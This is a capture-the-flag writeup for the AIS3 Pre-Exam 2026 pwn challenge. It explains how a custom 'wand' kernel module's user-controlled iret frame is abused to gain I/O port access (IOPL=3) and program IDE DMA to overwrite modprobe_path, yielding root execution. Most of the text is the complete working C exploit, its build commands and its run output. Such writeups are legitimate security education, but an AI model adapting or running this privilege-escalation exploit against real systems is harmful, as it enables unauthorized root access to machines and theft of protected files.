Skip to content
Suzu

【Pwn】AIS3 Pre-Exam 2026 Writeup: 特別的愛給特別的你

A pwn writeup for 特別的愛給特別的你, covering the QEMU/raw-disk execution model and exploit path.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Pwn - 特別的愛給特別的你

Reading the source

The first file I opened was run.sh.

sed -n '1,160p' run.sh

The QEMU command attaches the exploit as a raw disk:

-drive file=$1,format=raw,index=0,media=disk

So the exploit is not placed inside the initramfs by the tester. It becomes /dev/sda in the guest.

The init script confirmed the real flow.

sed -n '1,180p' rootfs/init

Important part:

cp /dev/sda /tmp/e
chmod +x /tmp/e

chmod 600 flag.txt

insmod /driver/wand.ko

setsid cttyhack setuidgid 1000 /bin/sh

So local testing should be:

./run.sh ./exploit

After the shell appears:

/tmp/e

I first thought about public kernel bugs, because the hint mentioned 0-day. Copy Fail and DirtyFrag did not work for me. Fragnesia also looked possible for a while, but the config did not have the needed trigger.

rg 'CONFIG_USER_NS|CONFIG_XFRM|CONFIG_INET6_ESP|CONFIG_INET6_ESPINTCP' kernel.config

The useful lines were:

# CONFIG_USER_NS is not set
CONFIG_XFRM=y
CONFIG_XFRM_USER=y
# CONFIG_INET6_ESPINTCP is not set

No user namespace. No ESP-in-TCP. No trigger, no path.

The custom module looked much more suspicious.

sed -n '1,220p' rootfs/driver/wand.c

The ioctl takes an iret frame from userland:

struct iret_frame {
	__u64 rip;
	__u64 cs;
	__u64 rflags;
	__u64 rsp;
	__u64 ss;
};

It copies this from user memory:

copy_from_user(&fr, (void __user *)uarg, sizeof(fr))

Then it writes the fields into magic_core:

*((__u64 *)(magic_core + OFF_RIP))    = fr.rip;
*((__u64 *)(magic_core + OFF_CS))     = fr.cs;
*((__u64 *)(magic_core + OFF_RFLAGS)) = fr.rflags;
*((__u64 *)(magic_core + OFF_RSP))    = fr.rsp;
*((__u64 *)(magic_core + OFF_SS))     = fr.ss;

The last part is the funny one:

asm volatile(
	"mov %0, %%rsp\n\t"
	"jmp *%1\n\t"
	:: "r"(pivot), "r"(tramp) : "memory"
);

tramp is hardcoded:

#define SWAPGS_RESTORE_ADDR 0xffffffff820015d0UL

The driver moves rsp to magic_core, then jumps into the kernel return-to-user trampoline.

Protections and kernel symbols

The boot arguments in run.sh were:

console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on nokaslr noapic

QEMU also enables:

-cpu qemu64,+smap,+smep

So SMEP and SMAP are enabled. PTI is enabled. KASLR is disabled.

I extracted the kernel:

vmlinux-to-elf bzImage vmlinux

Useful symbols:

nm -n vmlinux | rg 'swapgs_restore|commit_creds|prepare_kernel_cred|modprobe_path'

The trampoline and target string were stable:

ffffffff820015d0 T swapgs_restore_regs_and_return_to_usermode
ffffffff82b44f60 D modprobe_path

GDB was useful to confirm the exact trampoline behavior.

gdb -q -batch vmlinux \
  -ex 'p/x &modprobe_path' \
  -ex 'x/36i 0xffffffff820015d0'

GDB showed:

$1 = 0xffffffff82b44f60
0xffffffff820015d0 <swapgs_restore_regs_and_return_to_usermode>: jmp 0xffffffff820015ea
...
0xffffffff820015ef: pop r15
...
0xffffffff82001606: add rsp,0x8
0xffffffff8200160a: swapgs

The rest of the path reaches iretq. The offsets in wand.c match the stack layout. I was not sure at first because the driver fills OFF_RIP = 128, not the start of the buffer, but the pop sequence explains it.

No kernel ROP was needed. The module already gives a controlled return to userland.

No libc / printf path

I still checked if there was some normal userland pwn surface, because many pwn tasks hide the real bug there.

file rootfs/bin/busybox rootfs/driver/wand.ko exploit vmlinux
rg -n 'printf|puts|__libc|GLIBC|RELRO|GOT|lol' .

busybox is static. The module is the custom object. There is no challenge ELF with GOT, libc, or printf behavior to abuse. The only printf hits were from my helper programs and exploit source.

GOT was not even a real target here. No dynamic binary, no libc leak, no printf recursion. I stopped spending time on that path and went back to the kernel module.

Returning to userland with IOPL=3

The controlled iret frame means rflags is controlled too.

On x86, IOPL lives in rflags. If IOPL is 3, ring3 can execute I/O port instructions like:

inb
outb
outl

So the iret frame uses:

fr.rflags = user_rflags | (3ULL << 12);

I made a small probe first. It called /dev/wand, returned to userland, and executed:

inb $0x80, %al

The process did not crash, and the output showed the inb result. That confirmed IOPL=3 worked.

At this point, direct kernel code execution was not needed. Userland could talk to hardware ports.

IDE DMA idea

QEMU gives a PIIX IDE controller.

Inside the guest:

lspci -nn -vv

The device was:

00:01.1 Class 0101: 8086:7010

With IOPL=3, the exploit can access:

  • PCI config space
  • ATA I/O ports
  • Bus Master IDE ports

That means userland can program IDE DMA. The disk is our exploit file, because run.sh attaches it as a raw disk.

The target was modprobe_path:

virtual:  ffffffff82b44f60
physical: 0x02b44f60

The overwrite is:

/sbin/modprobe -> /tmp/e

Then a bad executable triggers unknown binfmt:

printf '\xff\xff\xff\xff' > /tmp/bad
chmod +x /tmp/bad
/tmp/bad

Kernel runs /tmp/e as root. The same exploit binary checks geteuid(). If it is root, it copies /flag.txt to /tmp/flag.

Debugging the DMA payload

The exploit file is also a disk image. I aligned the ELF to 512 bytes and appended two sectors:

  • payload sector
  • scratch sector

The payload sector is read by IDE DMA and written to modprobe_path.

My first payload was too simple:

/tmp/e\0
zeros...

It changed modprobe_path, but triggering /tmp/bad crashed the kernel in request_module().

Looking around the symbol table showed why:

nm -n vmlinux | awk '$1 >= "ffffffff82b44d00" && $1 <= "ffffffff82b45250" {print}'

Relevant symbols:

ffffffff82b44f60 D modprobe_path
ffffffff82b45060 d kmod_concurrent_max

A full 512-byte write starting at modprobe_path also overwrote the next kernel objects. That broke request_module.

The fix was to make the payload sector from the original kernel .data bytes, then patch only the string at the start.

dd if=vmlinux of=payload_sector.bin bs=1 skip=$((0x1a2ef60)) count=512 status=none
printf '/tmp/e\0AAAAAAAAAWANDDMA_PAYLOAD_V1' | dd of=payload_sector.bin bs=1 conv=notrunc status=none

The marker is used by the exploit to find which LBA contains the payload after /dev/sda is copied to /tmp/e.

Finding the PRD table physical page

Bus Master IDE needs a PRD table physical address.

I tried /proc/self/pagemap, but as uid 1000 the PFN bits are zeroed. The page is present, but the physical frame is hidden.

So the exploit sprays memory:

  1. mmap() a large area.
  2. Fill it with fake PRD entries.
  3. Every PRD points to physical modprobe_path.
  4. Guess physical pages from high memory downward.
  5. Use DMA memory-to-disk into the scratch sector.
  6. Read the scratch sector with PIO.
  7. If it starts with /sbin/modprobe, the guessed page contained the PRD.

Local QEMU was stable:

prdt_phys=0xff00000 after 1 tries

One more issue appeared later. If the exploit triggers /tmp/bad while the original /tmp/e process is still running, the root helper was unreliable. The prompt appeared again, and running /tmp/bad manually worked.

So the exploit now replaces itself with a shell command:

execl("/bin/sh", "sh", "-c", "... /tmp/bad ...", NULL);

After the old /tmp/e process is gone, kernel can execute /tmp/e as root and the root stage creates /tmp/flag.

Build commands

The final build steps:

gcc -static -O2 -Wall -Wextra exploit.c -o exploit

dd if=vmlinux of=payload_sector.bin bs=1 skip=$((0x1a2ef60)) count=512 status=none
printf '/tmp/e\0AAAAAAAAAWANDDMA_PAYLOAD_V1' | dd of=payload_sector.bin bs=1 conv=notrunc status=none

printf 'WANDDMA_SCRATCH_V1' > scratch_sector.bin
truncate -s 512 scratch_sector.bin

truncate -s $(( ( $(stat -c%s exploit) + 511 ) / 512 * 512 )) exploit
cat payload_sector.bin scratch_sector.bin >> exploit

Local run:

./run.sh ./exploit

Inside guest:

/tmp/e

Output:

WAND_CAST rip=0x4023d0 rflags=0x3206
returned from wand with IOPL=3
payload_lba=1591 scratch_lba=1592
pci 00:01.1 id=70108086 bar4=0000c041 bmide=0xc040
prd spray=160 MiB
prdt_phys=0xff00000 after 1 tries
modprobe_path now begins: /tmp/e
AIS3{-----------------------censored----------------------------}

Full exploit

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/wait.h>
#include <unistd.h>

struct iret_frame {
    uint64_t rip;
    uint64_t cs;
    uint64_t rflags;
    uint64_t rsp;
    uint64_t ss;
};

struct prd {
    uint32_t addr;
    uint16_t count;
    uint16_t flags;
} __attribute__((packed));

#define WAND_MAGIC 'a'
#define WAND_CAST _IOW(WAND_MAGIC, 0, struct iret_frame)

#define MODPROBE_PHYS 0x02b44f60u
#define PRD_EOT 0x8000u
#define PRD_PROBE_SIZE SECTOR_SIZE
#define PRD_FINAL_SIZE SECTOR_SIZE

#define ATA_DATA 0x1f0
#define ATA_ERROR 0x1f1
#define ATA_FEATURES 0x1f1
#define ATA_SECCOUNT0 0x1f2
#define ATA_LBA0 0x1f3
#define ATA_LBA1 0x1f4
#define ATA_LBA2 0x1f5
#define ATA_HDDEVSEL 0x1f6
#define ATA_COMMAND 0x1f7
#define ATA_STATUS 0x1f7
#define ATA_ALTSTATUS 0x3f6
#define ATA_CONTROL 0x3f6

#define ATA_SR_BSY 0x80
#define ATA_SR_DRDY 0x40
#define ATA_SR_DF 0x20
#define ATA_SR_DRQ 0x08
#define ATA_SR_ERR 0x01

#define ATA_CMD_READ_PIO 0x20
#define ATA_CMD_WRITE_PIO 0x30
#define ATA_CMD_READ_DMA 0xc8
#define ATA_CMD_WRITE_DMA 0xca

#define SECTOR_SIZE 512
#define PAYLOAD_MARKER "WANDDMA_PAYLOAD_V1"
#define PAYLOAD_MARKER_OFF 16

static uint64_t user_cs, user_ss, user_rflags, user_sp;
static uint32_t payload_lba, scratch_lba;

static inline void outb(uint16_t port, uint8_t val) {
    asm volatile("outb %0, %1" : : "a"(val), "Nd"(port) : "memory");
}

static inline uint8_t inb(uint16_t port) {
    uint8_t ret;
    asm volatile("inb %1, %0" : "=a"(ret) : "Nd"(port) : "memory");
    return ret;
}

static inline void outw(uint16_t port, uint16_t val) {
    asm volatile("outw %0, %1" : : "a"(val), "Nd"(port) : "memory");
}

static inline uint16_t inw(uint16_t port) {
    uint16_t ret;
    asm volatile("inw %1, %0" : "=a"(ret) : "Nd"(port) : "memory");
    return ret;
}

static inline void outl(uint16_t port, uint32_t val) {
    asm volatile("outl %0, %1" : : "a"(val), "Nd"(port) : "memory");
}

static inline uint32_t inl(uint16_t port) {
    uint32_t ret;
    asm volatile("inl %1, %0" : "=a"(ret) : "Nd"(port) : "memory");
    return ret;
}

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static void root_stage(void) {
    char buf[512];
    ssize_t n;
    int in, out;

    setresgid(0, 0, 0);
    setresuid(0, 0, 0);

    in = open("/flag.txt", O_RDONLY);
    if (in < 0)
        _exit(111);

    out = open("/tmp/flag", O_WRONLY | O_CREAT | O_TRUNC, 0666);
    if (out < 0)
        _exit(112);

    while ((n = read(in, buf, sizeof(buf))) > 0) {
        if (write(out, buf, (size_t)n) != n)
            _exit(113);
    }

    close(out);
    close(in);
    chmod("/tmp/flag", 0666);
    chmod("/flag.txt", 0644);
    _exit(0);
}

static void save_state(void) {
    asm volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
}

static uint32_t pci_read32(uint8_t bus, uint8_t dev, uint8_t func, uint8_t reg) {
    uint32_t addr = 0x80000000u |
                    ((uint32_t)bus << 16) |
                    ((uint32_t)dev << 11) |
                    ((uint32_t)func << 8) |
                    (reg & 0xfc);
    outl(0xcf8, addr);
    return inl(0xcfc);
}

static uint16_t get_bmide_base(void) {
    uint32_t id = pci_read32(0, 1, 1, 0x00);
    uint32_t bar4 = pci_read32(0, 1, 1, 0x20);
    uint16_t base = (uint16_t)(bar4 & ~0x0fu);

    printf("pci 00:01.1 id=%08x bar4=%08x bmide=%#x\n", id, bar4, base);
    if ((id & 0xffff) != 0x8086 || base == 0)
        base = 0xc040;
    return base;
}

static int ata_wait_clear_bsy(void) {
    for (int i = 0; i < 1000000; i++) {
        uint8_t st = inb(ATA_STATUS);
        if (!(st & ATA_SR_BSY))
            return st;
    }
    return -1;
}

static int ata_wait_drq(void) {
    for (int i = 0; i < 1000000; i++) {
        uint8_t st = inb(ATA_STATUS);
        if (st & (ATA_SR_ERR | ATA_SR_DF))
            return -1;
        if (!(st & ATA_SR_BSY) && (st & ATA_SR_DRQ))
            return 0;
    }
    return -1;
}

static void ata_select_lba28(uint32_t lba, uint8_t sectors) {
    ata_wait_clear_bsy();
    outb(ATA_HDDEVSEL, (uint8_t)(0xe0 | ((lba >> 24) & 0x0f)));
    for (int i = 0; i < 4; i++)
        inb(ATA_ALTSTATUS);
    outb(ATA_FEATURES, 0);
    outb(ATA_SECCOUNT0, sectors);
    outb(ATA_LBA0, (uint8_t)lba);
    outb(ATA_LBA1, (uint8_t)(lba >> 8));
    outb(ATA_LBA2, (uint8_t)(lba >> 16));
}

static int ata_pio_read_sector(uint32_t lba, unsigned char out[SECTOR_SIZE]) {
    ata_select_lba28(lba, 1);
    outb(ATA_COMMAND, ATA_CMD_READ_PIO);
    if (ata_wait_drq() < 0)
        return -1;

    for (int i = 0; i < SECTOR_SIZE / 2; i++) {
        uint16_t w = inw(ATA_DATA);
        out[i * 2] = (unsigned char)w;
        out[i * 2 + 1] = (unsigned char)(w >> 8);
    }
    ata_wait_clear_bsy();
    return 0;
}

static int ata_pio_write_sector(uint32_t lba, const unsigned char in[SECTOR_SIZE]) {
    ata_select_lba28(lba, 1);
    outb(ATA_COMMAND, ATA_CMD_WRITE_PIO);
    if (ata_wait_drq() < 0)
        return -1;

    for (int i = 0; i < SECTOR_SIZE / 2; i++) {
        uint16_t w = (uint16_t)in[i * 2] | ((uint16_t)in[i * 2 + 1] << 8);
        outw(ATA_DATA, w);
    }
    ata_wait_clear_bsy();
    return 0;
}

static int ata_dma_sector(uint16_t bmide, uint32_t lba, uint32_t prdt_phys, int disk_to_mem) {
    uint8_t direction = disk_to_mem ? 0x08 : 0x00;

    outb((uint16_t)(bmide + 0), 0x00);
    outb((uint16_t)(bmide + 2), 0x06);
    outl((uint16_t)(bmide + 4), prdt_phys);

    ata_select_lba28(lba, 1);
    outb(ATA_COMMAND, disk_to_mem ? ATA_CMD_READ_DMA : ATA_CMD_WRITE_DMA);
    outb((uint16_t)(bmide + 0), (uint8_t)(direction | 0x01));

    for (int i = 0; i < 1000000; i++) {
        uint8_t bs = inb((uint16_t)(bmide + 2));
        if (bs & 0x02)
            break;
        if ((bs & 0x04) || !(bs & 0x01))
            break;
    }

    outb((uint16_t)(bmide + 0), direction);
    uint8_t bs = inb((uint16_t)(bmide + 2));
    outb((uint16_t)(bmide + 2), (uint8_t)(bs | 0x06));
    uint8_t st = inb(ATA_STATUS);

    if ((bs & 0x02) || (st & (ATA_SR_ERR | ATA_SR_DF)))
        return -1;
    return 0;
}

static void find_payload_lbas(void) {
    unsigned char sec[SECTOR_SIZE];
    struct stat st;
    int fd = open("/tmp/e", O_RDONLY);
    if (fd < 0)
        die("open /tmp/e");
    if (fstat(fd, &st) < 0)
        die("fstat /tmp/e");

    for (off_t off = 0; off + SECTOR_SIZE <= st.st_size; off += SECTOR_SIZE) {
        if (pread(fd, sec, sizeof(sec), off) != sizeof(sec))
            die("pread /tmp/e");
        if (!memcmp(sec + PAYLOAD_MARKER_OFF, PAYLOAD_MARKER, strlen(PAYLOAD_MARKER))) {
            payload_lba = (uint32_t)(off / SECTOR_SIZE);
            scratch_lba = payload_lba + 1;
            close(fd);
            printf("payload_lba=%u scratch_lba=%u\n", payload_lba, scratch_lba);
            return;
        }
    }

    close(fd);
    fprintf(stderr, "payload marker not found in /tmp/e\n");
    exit(1);
}

static void fill_prd_spray(unsigned char *spray, size_t spray_len, uint32_t target_phys, uint16_t count) {
    struct prd entry = {
        .addr = target_phys,
        .count = count,
        .flags = PRD_EOT,
    };

    for (size_t off = 0; off + sizeof(entry) <= spray_len; off += sizeof(entry))
        memcpy(spray + off, &entry, sizeof(entry));
}

static unsigned char *alloc_prd_spray(size_t *len_out) {
    struct sysinfo si;
    size_t len = 160u * 1024u * 1024u;
    unsigned char *p;

    if (sysinfo(&si) == 0) {
        size_t free_ram = (size_t)si.freeram * (size_t)si.mem_unit;
        if (free_ram > 64u * 1024u * 1024u) {
            size_t wanted = free_ram - 32u * 1024u * 1024u;
            if (wanted < len)
                len = wanted;
        }
    }

    while (len >= 32u * 1024u * 1024u) {
        p = mmap(NULL, len, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        if (p != MAP_FAILED)
            break;
        len -= 16u * 1024u * 1024u;
    }
    if (len < 32u * 1024u * 1024u)
        die("mmap spray");

    fill_prd_spray(p, len, MODPROBE_PHYS, PRD_PROBE_SIZE);
    for (size_t off = 0; off < len; off += 4096)
        p[off] ^= 0;

    *len_out = len;
    printf("prd spray=%zu MiB\n", len >> 20);
    return p;
}

static uint32_t find_prdt_phys(uint16_t bmide) {
    unsigned char sec[SECTOR_SIZE];
    unsigned char zero[SECTOR_SIZE];
    uint32_t start = 0x0ff00000u;
    uint32_t end = 0x00100000u;
    unsigned tries = 0;

    memset(zero, 0x41, sizeof(zero));
    memcpy(zero, "SCRATCH_RESET", 13);
    if (ata_pio_write_sector(scratch_lba, zero) < 0)
        die("pio reset scratch");

    for (uint32_t cand = start; cand >= end; cand -= 0x1000u) {
        tries++;
        ata_dma_sector(bmide, scratch_lba, cand, 0);
        if (ata_pio_read_sector(scratch_lba, sec) == 0 &&
            !memcmp(sec, "/sbin/modprobe", 14)) {
            printf("prdt_phys=%#x after %u tries\n", cand, tries);
            return cand;
        }

        if ((tries & 0x7ff) == 0)
            printf("scanned down to %#x\n", cand);
        if (cand < 0x1000)
            break;
    }

    fprintf(stderr, "failed to find sprayed PRD page\n");
    exit(1);
}

static void exec_trigger_shell(void) {
    const char bad[] = "\xff\xff\xff\xff";
    int fd = open("/tmp/bad", O_WRONLY | O_CREAT | O_TRUNC, 0777);
    if (fd < 0)
        die("open /tmp/bad");
    if (write(fd, bad, 4) != 4)
        die("write /tmp/bad");
    close(fd);
    chmod("/tmp/bad", 0777);

    execl("/bin/sh", "sh", "-c",
          "for i in 1 2 3 4 5; do "
          "/tmp/bad >/dev/null 2>&1; "
          "sleep 1; "
          "if [ -r /tmp/flag ]; then cat /tmp/flag; break; fi; "
          "done; "
          "/bin/sh",
          NULL);
    die("exec trigger shell");
}

static void run_dma_exploit(void) {
    size_t spray_len;
    unsigned char *spray;
    uint16_t bmide;
    uint32_t prdt_phys;
    unsigned char verify[SECTOR_SIZE];

    puts("returned from wand with IOPL=3");
    find_payload_lbas();

    bmide = get_bmide_base();
    spray = alloc_prd_spray(&spray_len);
    prdt_phys = find_prdt_phys(bmide);

    fill_prd_spray(spray, spray_len, MODPROBE_PHYS, PRD_FINAL_SIZE);
    if (ata_dma_sector(bmide, payload_lba, prdt_phys, 1) < 0)
        fprintf(stderr, "final read-dma reported an error after short PRD\n");

    if (ata_dma_sector(bmide, scratch_lba, prdt_phys, 0) == 0 &&
        ata_pio_read_sector(scratch_lba, verify) == 0) {
        printf("modprobe_path now begins: %.16s\n", verify);
    }

    munmap(spray, spray_len);
    exec_trigger_shell();
    _exit(0);
}

__attribute__((noreturn)) static void after_wand(void) {
    run_dma_exploit();
    _exit(0);
}

static void enter_iopl_with_wand(void) {
    int fd = open("/dev/wand", O_RDWR);
    if (fd < 0)
        die("open /dev/wand");

    save_state();
    struct iret_frame fr = {
        .rip = (uint64_t)after_wand,
        .cs = user_cs,
        .rflags = user_rflags | (3ULL << 12),
        .rsp = user_sp,
        .ss = user_ss,
    };

    printf("WAND_CAST rip=%#llx rflags=%#llx\n",
           (unsigned long long)fr.rip,
           (unsigned long long)fr.rflags);
    fflush(stdout);

    if (ioctl(fd, WAND_CAST, &fr) < 0)
        die("ioctl WAND_CAST");

    __builtin_unreachable();
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    if (geteuid() == 0)
        root_stage();

    enter_iopl_with_wand();
    return 0;
}

Share this page